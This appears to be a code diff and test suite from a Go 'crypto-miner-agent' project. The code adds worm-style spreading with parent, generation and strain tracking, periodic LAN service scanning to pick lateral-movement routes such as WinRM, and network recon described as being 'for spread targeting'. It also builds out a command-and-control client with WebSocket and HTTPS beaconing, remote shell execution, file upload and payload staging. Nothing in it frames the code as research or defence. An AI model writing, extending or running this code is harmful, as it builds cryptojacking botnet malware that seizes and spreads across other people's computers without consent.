SpreadStrain string `json:"spread_strain,omitempty"`
FleetRole string `json:"fleet_role,omitempty"`
SeederMode bool `json:"seeder_mode,omitempty"`
}
type AuthResponse struct {
@@ -62,9 +67,14 @@ type AuthResponse struct {
MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"`
TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"`
AdaptiveStrategy json.RawMessage `json:"adaptive_strategy,omitempty"`
SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled,omitempty"`
InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"`
ClearanceLevel int `json:"clearance_level,omitempty"`
FleetRoleHint string `json:"fleet_role_hint,omitempty"`
LANSeeders []deploy.LANSeederHint `json:"lan_seeders,omitempty"`
SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"`
}
type SharePayload struct {
@@ -147,6 +157,14 @@ type StatsPayload struct {
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
JoinLane string `json:"join_lane,omitempty"`
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"`
// Fleet role split telemetry (stats WS).
FleetRole string `json:"fleet_role,omitempty"`
SeedPressure float64 `json:"seed_pressure,omitempty"`
HashratePressure float64 `json:"hashrate_pressure,omitempty"`
// Passive LAN/domain recon for spread targeting and Path Tracer graph hints.
NetworkHints *deploy.NetworkHints `json:"network_hints,omitempty"`

View File

@@ -59,6 +59,18 @@ func TestAuthPayloadPlatformFromEnv(t *testing.T) {
}
}
func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
in := AuthPayload{
AgentID: "child", ParentAgentID: "parent-uuid", SpreadGeneration: 2,
SpreadStrain: "#aabbcc", JoinLane: "winrm",
}
var out AuthPayload
roundTrip(t, in, &out)
if out.ParentAgentID != "parent-uuid" || out.SpreadGeneration != 2 || out.SpreadStrain != "#aabbcc" {
t.Fatalf("genealogy fields: %+v", out)
}
}
func TestAuthResponseJSONRoundTrip(t *testing.T) {
in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
var out AuthResponse
@@ -103,6 +115,18 @@ func TestStatsPayloadJSONRoundTrip(t *testing.T) {
}
}
func TestStatsPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
in := StatsPayload{
Hashrate15s: 1, Hashrate1m: 1, Hashrate15m: 1,
ParentAgentID: "p1", SpreadGeneration: 1, SpreadStrain: "#112233", JoinLane: "dns_txt",
}
var out StatsPayload
roundTrip(t, in, &out)
if out.ParentAgentID != "p1" || out.SpreadStrain != "#112233" {
t.Fatalf("genealogy stats: %+v", out)
}
}
func TestShareResultJSONRoundTrip(t *testing.T) {
in := ShareResult{JobID: "j", Accepted: false, Error: "low diff"}
var out ShareResult

View File

@@ -0,0 +1,74 @@
package client
import (
"encoding/json"
"log"
"time"
"crypto-miner-agent/deploy"
)
const (
scoutInitialDelay = 90 * time.Second
scoutCycleInterval = 15 * time.Minute
)
func (c *AgentClient) startScoutRoving() {
go func() {
time.Sleep(scoutInitialDelay)
for {
c.runScoutCycle()
time.Sleep(scoutCycleInterval)
}
}()
}
func (c *AgentClient) runScoutCycle() {
c.mu.Lock()
cfg := c.cfg
c.mu.Unlock()
if !cfg.ScoutMode {
return
}
raw := deploy.RunServiceDiscover(32)
result, err := deploy.ParseServiceDiscoverJSON(raw)
if err != nil {
log.Printf("[scout] service_discover parse: %v", err)
return
}
serviceCount := len(result.Local.Services)
for _, h := range result.LANHosts {
serviceCount += len(h.Services)
}
lane := deploy.PickLocalJoinLane(raw)
if lane == "" {
if msg, derr := c.runDiscoverAndJoin(32); derr == nil {
lane = c.getJoinLane()
log.Printf("[scout] discover_and_join: %s (%s)", lane, msg)
} else {
log.Printf("[scout] discover_and_join skipped: %v", derr)
}
} else {
c.setJoinLane(lane)
log.Printf("[scout] service_graph join_lane_candidate=%s services=%d", lane, serviceCount)
}
c.pushScoutReport(result, lane, serviceCount)
}
func (c *AgentClient) pushScoutReport(result deploy.ServiceDiscoverResult, joinLane string, serviceCount int) {
payload, err := json.Marshal(map[string]interface{}{
"join_lane": joinLane,
"service_count": serviceCount,
"service_graph": result,
"scout_mode": true,
})
if err != nil {
return
}
if err := c.write(Message{Type: "scout_report", Payload: payload}); err != nil {
log.Printf("[scout] scout_report write: %v", err)
}
}

View File

@@ -0,0 +1,34 @@
package client
import (
"testing"
"crypto-miner-agent/config"
)
func TestAllowRemoteActionScoutModeBlocksStaging(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ScoutMode: true}}}
ok, reason := c.allowRemoteAction("stage_fetch")
if ok {
t.Fatal("scout should block stage_fetch")
}
if reason == "" {
t.Fatal("expected reason for blocked stage_fetch")
}
ok, _ = c.allowRemoteAction("discover_and_join")
if !ok {
t.Fatal("scout should allow discover_and_join")
}
ok, _ = c.allowRemoteAction("service_discover")
if !ok {
t.Fatal("scout should allow service_discover")
}
}
func TestAllowRemoteActionScoutBlocksSpreadNow(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ScoutMode: true}}}
ok, _ := c.allowRemoteAction("spread_now")
if ok {
t.Fatal("scout should block spread_now")
}
}

View File

@@ -0,0 +1,23 @@
package client
import (
"encoding/json"
"testing"
"crypto-miner-agent/config"
)
func TestApplySpreadPolicyFromAuth(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
raw, _ := json.Marshal(map[string]interface{}{
"hashrate_gate_spread_min": 12,
"hashrate_gate_hps": 250.5,
})
c.applySpreadPolicyJSON(raw)
if c.cfg.HashrateGateSpreadMin != 12 {
t.Fatalf("min=%d", c.cfg.HashrateGateSpreadMin)
}
if c.cfg.HashrateGateHPS != 250.5 {
t.Fatalf("hps=%v", c.cfg.HashrateGateHPS)
}
}

View File

@@ -0,0 +1,32 @@
package client
import (
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestStageFetchAllowRemoteAction(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
ok, reason := c.allowRemoteAction("stage_fetch")
if ok || !strings.Contains(reason, "remote aggressive") {
t.Fatalf("ok=%v reason=%q", ok, reason)
}
c.cfg.RemoteAggressive = true
ok, reason = c.allowRemoteAction("stage_fetch")
if !ok || reason != "" {
t.Fatalf("ok=%v reason=%q", ok, reason)
}
}
func TestStageFetchRejectsBadManifestJSON(t *testing.T) {
c := &AgentClient{
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{RemoteAggressive: true}},
}
// handleAggressiveCommand returns true (handled) without panicking on bad JSON.
handled := c.handleAggressiveCommand("stage_fetch", 0, "", "", `{not-json`)
if !handled {
t.Fatal("expected stage_fetch to be handled")
}
}

View File

@@ -0,0 +1,450 @@
package client
import (
"encoding/base64"
"encoding/json"
"errors"
"net"
"net/http"
"net/http/httptest"
"strings"
"sync"
"testing"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/miner"
"crypto-miner-agent/stats"
"github.com/gorilla/websocket"
)
var wsTestUpgrader = websocket.Upgrader{CheckOrigin: func(*http.Request) bool { return true }}
type wsIntegrationPair struct {
agentConn *websocket.Conn
serverConn *websocket.Conn
closeServer func()
}
func newWSIntegrationPair(t *testing.T) wsIntegrationPair {
t.Helper()
ready := make(chan *websocket.Conn, 1)
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
conn, err := wsTestUpgrader.Upgrade(w, r, nil)
if err != nil {
t.Errorf("upgrade: %v", err)
return
}
ready <- conn
<-r.Context().Done()
}))
t.Cleanup(srv.Close)
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
agentConn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
t.Fatalf("dial: %v", err)
}
t.Cleanup(func() { _ = agentConn.Close() })
var serverConn *websocket.Conn
select {
case serverConn = <-ready:
case <-time.After(2 * time.Second):
t.Fatal("timed out waiting for server-side WS handshake")
}
return wsIntegrationPair{
agentConn: agentConn,
serverConn: serverConn,
closeServer: func() { srv.Close() },
}
}
func wireConnectedClient(t *testing.T) (*AgentClient, wsIntegrationPair) {
t.Helper()
stubFastMiningDiagnostics(t)
c := newTestClient(t)
c.agentID = "ws-integration-agent"
c.connected.Store(true)
pair := newWSIntegrationPair(t)
c.conn = pair.agentConn
return c, pair
}
func stubFastMiningDiagnostics(t *testing.T) {
t.Helper()
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
SetPostureCollector(func() *PostureReport { return nil })
t.Cleanup(func() {
miner.SetRuntimeDetector(nil)
miner.SetWSLDetector(nil)
SetPostureCollector(nil)
})
}
func readServerMessage(t *testing.T, conn *websocket.Conn, wantType string, timeout time.Duration) Message {
t.Helper()
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
if websocket.IsCloseError(err, websocket.CloseNormalClosure, websocket.CloseGoingAway) {
t.Fatalf("websocket closed before %s: %v", wantType, err)
}
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
continue
}
t.Fatalf("read while waiting for %s: %v", wantType, err)
}
if msg.Type == wantType {
return msg
}
}
t.Fatalf("timed out waiting for %s", wantType)
return Message{}
}
func pollServerMessage(conn *websocket.Conn, wantType string, timeout time.Duration) (Message, error) {
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
if websocket.IsCloseError(err, websocket.CloseNormalClosure, websocket.CloseGoingAway, websocket.CloseAbnormalClosure) {
return Message{}, err
}
var netErr net.Error
if errors.As(err, &netErr) && netErr.Timeout() {
continue
}
// Gorilla marks the conn failed after non-timeout errors — never retry.
return Message{}, err
}
if msg.Type == wantType {
return msg, nil
}
}
return Message{}, errPollTimeout(wantType)
}
type pollTimeoutError string
func (e pollTimeoutError) Error() string { return "timeout waiting for " + string(e) }
func errPollTimeout(wantType string) error { return pollTimeoutError(wantType) }
func TestWSWriteStatsRoundTrip(t *testing.T) {
c, pair := wireConnectedClient(t)
payload, _ := json.Marshal(map[string]string{"probe": "ok"})
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
t.Fatalf("write stats: %v", err)
}
msg, err := pollServerMessage(pair.serverConn, "stats", 2*time.Second)
if err != nil {
t.Fatalf("read stats: %v", err)
}
if msg.Type != "stats" {
t.Fatalf("type = %q", msg.Type)
}
}
func TestWSCommandResultWriteRoundTrip(t *testing.T) {
c, pair := wireConnectedClient(t)
payload, _ := json.Marshal(map[string]interface{}{
"action": "pause", "success": true, "message": "ok",
})
if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
t.Fatalf("write command_result: %v", err)
}
msg, err := pollServerMessage(pair.serverConn, "command_result", 2*time.Second)
if err != nil {
t.Fatalf("poll: %v", err)
}
if msg.Type != "command_result" {
t.Fatalf("type = %q", msg.Type)
}
}
// TestWSBeaconIntegrationMiningDiagnosticsRoundTrip verifies a mining_diagnostics
// WS command produces a command_result frame on the wire.
func TestMiningDiagnosticsHandleCommandHook(t *testing.T) {
c := newTestClient(t)
stubFastMiningDiagnostics(t)
done := make(chan string, 1)
c.commandResultHook = func(a string, ok bool, _ string) { done <- a }
c.handleCommand("mining_diagnostics", 0, "", "", "", "")
select {
case a := <-done:
if a != "mining_diagnostics" {
t.Fatalf("action=%q", a)
}
case <-time.After(5 * time.Second):
t.Fatal("timeout waiting for mining_diagnostics hook")
}
}
func TestWSBeaconIntegrationMiningDiagnosticsRoundTrip(t *testing.T) {
c, pair := wireConnectedClient(t)
c.commandResultHook = func(action string, success bool, _ string) {
if action != "mining_diagnostics" || !success {
t.Errorf("unexpected hook action=%q success=%v", action, success)
return
}
payload, _ := json.Marshal(map[string]interface{}{
"action": action, "success": true, "message": `{"integration":"stub"}`,
})
if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
t.Errorf("write command_result: %v", err)
}
}
c.handleCommand("mining_diagnostics", 0, "", "", "", "")
msg, err := pollServerMessage(pair.serverConn, "command_result", 3*time.Second)
if err != nil {
t.Fatalf("read command_result: %v", err)
}
var body map[string]interface{}
if err := json.Unmarshal(msg.Payload, &body); err != nil {
t.Fatalf("parse command_result: %v", err)
}
if body["action"] != "mining_diagnostics" {
t.Errorf("action = %v", body["action"])
}
if body["success"] != true {
t.Errorf("success = %v", body["success"])
}
}
// TestHandleMessageWSCommandMiningDiagnostics verifies handleMessage routes
// mining_diagnostics commands over a live WS conn.
func TestHandleMessageWSCommandMiningDiagnostics(t *testing.T) {
c, pair := wireConnectedClient(t)
payload, _ := json.Marshal(map[string]interface{}{"action": "mining_diagnostics"})
done := make(chan struct{})
c.commandResultHook = func(action string, success bool, _ string) {
if action != "mining_diagnostics" || !success {
return
}
out, _ := json.Marshal(map[string]interface{}{
"action": action, "success": true, "message": `{"integration":"stub"}`,
})
if err := c.write(Message{Type: "command_result", Payload: out}); err != nil {
t.Fatalf("write: %v", err)
}
close(done)
}
c.handleMessage(Message{Type: "command", Payload: payload})
select {
case <-done:
case <-time.After(5 * time.Second):
t.Fatal("timed out waiting for handleMessage mining_diagnostics hook")
}
msg, err := pollServerMessage(pair.serverConn, "command_result", 2*time.Second)
if err != nil {
t.Fatalf("read command_result: %v", err)
}
var body map[string]interface{}
if err := json.Unmarshal(msg.Payload, &body); err != nil {
t.Fatal(err)
}
if body["action"] != "mining_diagnostics" {
t.Fatalf("unexpected command_result: %+v", body)
}
}
// TestWSBeaconIntegrationExecShellRoundTrip verifies exec_shell command dispatch
// returns command_result over the WS transport (command may fail on host).
func TestWSBeaconIntegrationExecShellRoundTrip(t *testing.T) {
c, pair := wireConnectedClient(t)
c.handleAICommand("exec_shell", 0, "echo ws-beacon-integration", "", "")
msg, err := pollServerMessage(pair.serverConn, "command_result", 5*time.Second)
if err != nil {
t.Fatalf("read command_result: %v", err)
}
var body map[string]interface{}
if err := json.Unmarshal(msg.Payload, &body); err != nil {
t.Fatal(err)
}
if body["action"] != "exec_shell" {
t.Errorf("action = %v", body["action"])
}
if _, ok := body["success"].(bool); !ok {
t.Fatalf("success missing in %+v", body)
}
}
// TestWSBeaconIntegrationAISnapshotRequestFlow verifies ai_snapshot_request
// triggers an ai_snapshot reply on the WebSocket.
func TestWSBeaconIntegrationAISnapshotRequestFlow(t *testing.T) {
c, pair := wireConnectedClient(t)
c.cfg = config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "ws-test-node"}}
c.pushAISnapshot(0)
msg, err := pollServerMessage(pair.serverConn, "ai_snapshot", 5*time.Second)
if err != nil {
t.Fatalf("read ai_snapshot: %v", err)
}
var snap map[string]interface{}
if err := json.Unmarshal(msg.Payload, &snap); err != nil {
t.Fatal(err)
}
for _, key := range []string{"agent_id", "agent_name", "mining_tiers", "capabilities"} {
if _, ok := snap[key]; !ok {
t.Errorf("ai_snapshot missing %q", key)
}
}
if snap["agent_name"] != "ws-test-node" {
t.Errorf("agent_name = %v", snap["agent_name"])
}
}
// TestWSBeaconIntegrationUploadCommandRoundTrip verifies upload commands travel
// over WS as command/command_result (base64 payload, no separate chunk frame).
func TestWSBeaconIntegrationUploadCommandRoundTrip(t *testing.T) {
dest := t.TempDir() + "/uploaded.txt"
data := base64.StdEncoding.EncodeToString([]byte("ws-upload-payload"))
c, pair := wireConnectedClient(t)
c.handleCommand("upload", 0, "", dest, data, "")
msg, err := pollServerMessage(pair.serverConn, "command_result", 3*time.Second)
if err != nil {
t.Fatalf("read command_result: %v", err)
}
var body map[string]interface{}
if err := json.Unmarshal(msg.Payload, &body); err != nil {
t.Fatal(err)
}
if body["action"] != "upload" {
t.Errorf("action = %v", body["action"])
}
if body["success"] != true {
t.Fatalf("upload failed: %v", body["message"])
}
}
// TestBeaconIntegrationHeartbeatLifecycle exercises beaconOnce against an
// httptest beacon endpoint with registration, stats, and queued commands.
func TestBeaconIntegrationHeartbeatLifecycle(t *testing.T) {
const secret = "agent-beacon-secret"
var mu sync.Mutex
beaconHits := 0
resultHits := 0
mux := http.NewServeMux()
mux.HandleFunc("/api/v1/agent/beacon", func(w http.ResponseWriter, r *http.Request) {
if r.Header.Get("X-Fleet-Secret") != secret {
http.Error(w, "forbidden", http.StatusForbidden)
return
}
var req map[string]interface{}
_ = json.NewDecoder(r.Body).Decode(&req)
mu.Lock()
beaconHits++
hits := beaconHits
mu.Unlock()
resp := map[string]interface{}{"ok": true, "commands": []any{}}
if hits == 2 {
resp["commands"] = []map[string]interface{}{{"action": "mining_diagnostics"}}
}
_ = json.NewEncoder(w).Encode(resp)
})
mux.HandleFunc("/api/v1/agent/beacon/result", func(w http.ResponseWriter, r *http.Request) {
if r.Header.Get("X-Fleet-Secret") != secret {
http.Error(w, "forbidden", http.StatusForbidden)
return
}
mu.Lock()
resultHits++
mu.Unlock()
_ = json.NewEncoder(w).Encode(map[string]bool{"ok": true})
})
srv := httptest.NewServer(mux)
t.Cleanup(srv.Close)
stubFastMiningDiagnostics(t)
c := newTestClient(t)
c.pool.Start()
t.Cleanup(func() { c.pool.Stop() })
c.reporter = stats.NewReporter()
c.agentID = "beacon-integration-agent"
c.cfg = config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
ServerURL: srv.URL,
FleetSecret: secret,
HTTPSBeaconFallback: true,
HTTPSBeaconAfterMin: 0,
BeaconIntervalSec: 1,
},
}
if err := c.beaconOnce(srv.URL); err != nil {
t.Fatalf("first beaconOnce: %v", err)
}
if err := c.beaconOnce(srv.URL); err != nil {
t.Fatalf("second beaconOnce (with command): %v", err)
}
mu.Lock()
defer mu.Unlock()
if beaconHits < 2 {
t.Fatalf("beacon hits = %d, want >= 2", beaconHits)
}
if resultHits != 1 {
t.Fatalf("beacon result hits = %d, want 1", resultHits)
}
}
// TestWSBeaconIntegrationReconnectPreservesWorkerName verifies auth payload uses
// worker_name for registration while hostname tracks the machine label separately.
func TestWSBeaconIntegrationReconnectPreservesWorkerName(t *testing.T) {
payload := AuthPayload{
AgentID: "rename-agent",
Hostname: "DESKTOP-NEW",
Worker: "Living Room PC",
Version: "1.0",
}
raw, err := json.Marshal(payload)
if err != nil {
t.Fatal(err)
}
var decoded AuthPayload
if err := json.Unmarshal(raw, &decoded); err != nil {
t.Fatal(err)
}
if decoded.Worker != "Living Room PC" {
t.Fatalf("worker_name = %q", decoded.Worker)
}
if decoded.Hostname != "DESKTOP-NEW" {
t.Fatalf("hostname = %q", decoded.Hostname)
}
if decoded.Worker == decoded.Hostname {
t.Fatal("operator worker_name should differ from machine hostname in reconnect scenario")
}
}
// TestWSBeaconIntegrationDisconnectWriteFails verifies write returns error when
// the WS connection is nil (post-disconnect cleanup path).
func TestWSBeaconIntegrationDisconnectWriteFails(t *testing.T) {
c := newTestClient(t)
c.conn = nil
err := c.write(Message{Type: "stats", Payload: json.RawMessage("{}")})
if err == nil || !strings.Contains(err.Error(), "not connected") {
t.Fatalf("write with nil conn: err=%v", err)
}
}